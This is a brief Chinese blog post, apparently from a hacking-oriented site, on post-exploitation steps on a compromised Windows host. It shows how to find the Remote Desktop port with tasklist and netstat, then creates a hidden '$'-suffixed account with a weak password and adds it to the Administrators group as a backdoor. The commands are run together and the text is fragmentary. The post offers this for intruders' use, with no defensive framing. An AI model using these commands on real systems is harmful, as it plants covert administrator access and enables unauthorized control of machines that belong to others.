【摘要】在我们后期提权的过程中,成功添加账号密码tasklist/svc//在输出的内容中查找svchost.exe进程下termservice服务对应的PIDnetstat-ano//即可找到PID对应的开放端口,即远程桌面开放端口然后就是一顿提权猛如虎ne...

在我们后期提权的过程中,成功添加账号密码

tasklist /svc//在输出的内容中查找svchost.exe进程下termservice服务对应的PIDnetstat -ano//即可找到PID对应的开放端口,即远程桌面开放端口然后就是一顿提权猛如虎net user dyboy$ admin123456 /addnet localgroup Administrators dyboy$ /add

评论(0条)

刀客源码 游客评论